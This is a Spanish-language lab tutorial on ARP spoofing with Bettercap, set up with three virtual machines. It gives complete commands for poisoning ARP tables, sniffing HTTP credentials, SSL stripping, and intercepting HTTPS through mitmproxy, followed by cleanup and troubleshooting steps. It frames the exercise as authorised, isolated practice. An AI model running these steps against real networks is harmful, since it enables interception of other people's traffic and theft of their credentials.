Aviso legal: Esta práctica debe realizarse únicamente en un laboratorio aislado (máquinas virtuales en red interna) de tu propiedad o con autorización explícita por escrito. Usar estas técnicas en redes ajenas es un delito.
1. Preparación del laboratorio
1.1. Arquitectura necesaria
Necesitas tres máquinas virtuales (VirtualBox/VMware) en la misma red interna (modo «Red interna» o «Host-only», nunca en modo puente con tu red real):
| Máquina | Rol | Ejemplo IP |
|---|---|---|
| Kali Linux | Atacante | 192.168.1.10 |
| Windows / Linux | Víctima | 192.168.1.50 |
| Router/Gateway | Puerta de enlace | 192.168.1.1 |
Importante: Si no tienes un router virtual, puedes usar una VM con Linux configurada como gateway, o bien usar el propio host como gateway si está en la misma red interna.
1.2. Verificar conectividad
Desde la víctima, comprueba que hay conexión con el gateway:
bash
ping 192.168.1.1
Desde el atacante, comprueba que ves a la víctima:
bash
ping 192.168.1.50
2. Preparar el atacante (Kali)
2.1. Instalar Bettercap
bash
sudo apt update sudo apt install bettercap -y
Verifica la instalación:
bash
bettercap -version
2.2. Identificar la interfaz de red
bash
ip a
Anota el nombre de la interfaz (ej. eth0). La usarás en todos los comandos siguientes.
2.3. Habilitar IP Forwarding (obligatorio)
Sin esto, cortarás el internet de la víctima en vez de interceptarlo:
bash
sudo sysctl -w net.ipv4.ip_forward=1
Verifica:
bash
cat /proc/sys/net/ipv4/ip_forward
Debe devolver 1.
2.4. (Opcional) Limpiar reglas previas de iptables
Si has hecho pruebas antes, limpia para partir de cero:
bash
sudo iptables -t nat -F sudo iptables -F
3. Iniciar Bettercap y descubrir la red
3.1. Lanzar Bettercap
bash
sudo bettercap -iface eth0
Sustituye eth0 por tu interfaz real. Entrarás en una consola interactiva con prompt bettercap ».
3.2. Activar el descubrimiento de red
text
net.probe on
Espera unos segundos y muestra los hosts:
text
net.show
Verás una tabla con IPs y MACs. Anota la IP de la víctima y la del gateway.
3.3. (Opcional) Ver la MAC del gateway
text
net.show
Localiza la fila del gateway (192.168.1.1) y apunta su MAC. La necesitarás para verificar el envenenamiento.
4. Ejecutar el ARP Spoofing
4.1. Definir el objetivo
text
set arp.spoof.targets 192.168.1.50
Sustituye por la IP de tu víctima.
4.2. Activar modo full-duplex
Esto envenena a la víctima y al gateway a la vez, sin necesidad de dos comandos:
text
set arp.spoof.fullduplex true
4.3. (Recomendado) Activar el reenvío interno de Bettercap
Aunque ya activaste IP Forwarding en el kernel, Bettercap tiene su propio control:
text
set arp.spoof.internal true
4.4. Encender el spoofing
text
arp.spoof on
Verificación en la víctima: Abre una terminal en la víctima y ejecuta:
bash
arp -a
Deberías ver que la MAC asociada al gateway (192.168.1.1) ahora es la MAC de tu Kali, no la del router real. Eso confirma que el envenenamiento funciona.
Verificación de conectividad: Desde la víctima, haz ping 8.8.8.8 o abre un navegador. Debe seguir funcionando (gracias al IP Forwarding). Si no funciona, revisa el paso 2.3.
5. Sniffing del tráfico
5.1. Activar el sniffer
Dentro de Bettercap:
text
net.sniff on
Ahora verás en tiempo real el tráfico que pasa por tu máquina.
5.2. (Opcional) Guardar la captura en un .pcap
Antes de activar el sniffer, define el archivo de salida:
text
set net.sniff.output /home/kali/captura_arp.pcap net.sniff on
Luego podrás abrirlo con Wireshark:
bash
wireshark /home/kali/captura_arp.pcap
5.3. Generar tráfico desde la víctima
En la máquina víctima:
- Abre un navegador.
- Visita un sitio HTTP de pruebas, por ejemplo:
http://example.comhttp://testphp.vulnweb.com(formulario de login vulnerable de prueba)
- Introduce credenciales falsas (usuario:
admin, contraseña:1234).
En la consola de Bettercap deberías ver las peticiones HTTP y, si el formulario es HTTP plano, los datos del POST con las credenciales.
5.4. (Opcional) Intentar SSL Strip para HTTPS
Advertencia: Fallará en la mayoría de sitios modernos por HSTS. Sirve solo como demostración didáctica.
text
set https.proxy.sslstrip true https.proxy on
Si la víctima visita un sitio HTTPS sin HSTS (raro hoy en día), verás el tráfico degradado a HTTP.
5.5. (Alternativa moderna) Interceptar HTTPS con mitmproxy
Si quieres ver tráfico HTTPS real, necesitas instalar un certificado en la víctima. Es más complejo y requiere ingeniería social, pero es la vía actual:
- En Kali, instala mitmproxy:bashsudo apt install mitmproxy -y
- Ejecuta mitmproxy en modo transparente:bashmitmproxy –mode transparent –listen-port 8080
- En Bettercap, redirige el tráfico HTTPS a mitmproxy:textset https.proxy.port 8080 https.proxy on
- En la víctima, instala el certificado de mitmproxy (
http://mitm.it) y acepta el riesgo.
Esto ya es otra práctica más avanzada.
6. Detener el ataque y limpiar (CRÍTICO)
Si no limpias, dejarás la víctima sin conexión hasta que reinicie.
6.1. Apagar módulos dentro de Bettercap (orden inverso)
text
https.proxy off net.sniff off arp.spoof off
Al apagar arp.spoof, Bettercap envía paquetes ARP correctivos para restaurar las tablas.
6.2. Salir de Bettercap
text
quit
6.3. Desactivar IP Forwarding
bash
sudo sysctl -w net.ipv4.ip_forward=0
6.4. Limpiar reglas de iptables (si Bettercap añadió alguna)
bash
sudo iptables -t nat -F sudo iptables -F
6.5. Verificar la restauración en la víctima
En la víctima:
bash
arp -a
La MAC del gateway debe volver a ser la del router real. Si no, espera unos minutos o reinicia la interfaz de red de la víctima:
bash
# En Linux sudo systemctl restart NetworkManager # En Windows ipconfig /release && ipconfig /renew
Comprueba que hay conectividad:
bash
ping 8.8.8.8
7. Resumen de comandos (chuleta rápida)
En Kali (antes de Bettercap)
bash
sudo sysctl -w net.ipv4.ip_forward=1 sudo bettercap -iface eth0
Dentro de Bettercap
text
net.probe on net.show set arp.spoof.targets 192.168.1.50 set arp.spoof.fullduplex true set arp.spoof.internal true arp.spoof on net.sniff on
Para detener
text
net.sniff off arp.spoof off quit
En Kali (después)
bash
sudo sysctl -w net.ipv4.ip_forward=0 sudo iptables -t nat -F sudo iptables -F
8. Puntos clave a entender de la práctica
- ARP Spoofing engaña a la víctima y al router para que el tráfico pase por tu máquina.
- IP Forwarding evita que la víctima pierda la conexión (sin él, haces un DoS).
- Full-duplex envenena ambos lados con un solo comando (equivale a los dos
arpspoofclásicos). - HSTS hace que el SSL Strip clásico sea casi inútil hoy en día. Para HTTPS real necesitas instalar un certificado en la víctima (mitmproxy o Bettercap con
https.proxy+ CA). - Limpieza es obligatoria: si no restauras las tablas ARP, dejas la red rota.
9. Solución de problemas comunes
| Problema | Causa probable | Solución |
|---|---|---|
La víctima pierde internet tras arp.spoof on | IP Forwarding desactivado | sudo sysctl -w net.ipv4.ip_forward=1 |
No aparecen hosts en net.show | net.probe no activo o firewall | net.probe on, revisa firewall de la víctima |
net.sniff no muestra tráfico | El spoofing no está activo o el tráfico es HTTPS | Verifica arp.spoof on y prueba con HTTP |
| Bettercap no arranca | Interfaz incorrecta o sin permisos | Ejecuta con sudo y comprueba ip a |
| Tras salir, la víctima sigue sin internet | Tablas ARP no restauradas | Reinicia la interfaz de red de la víctima |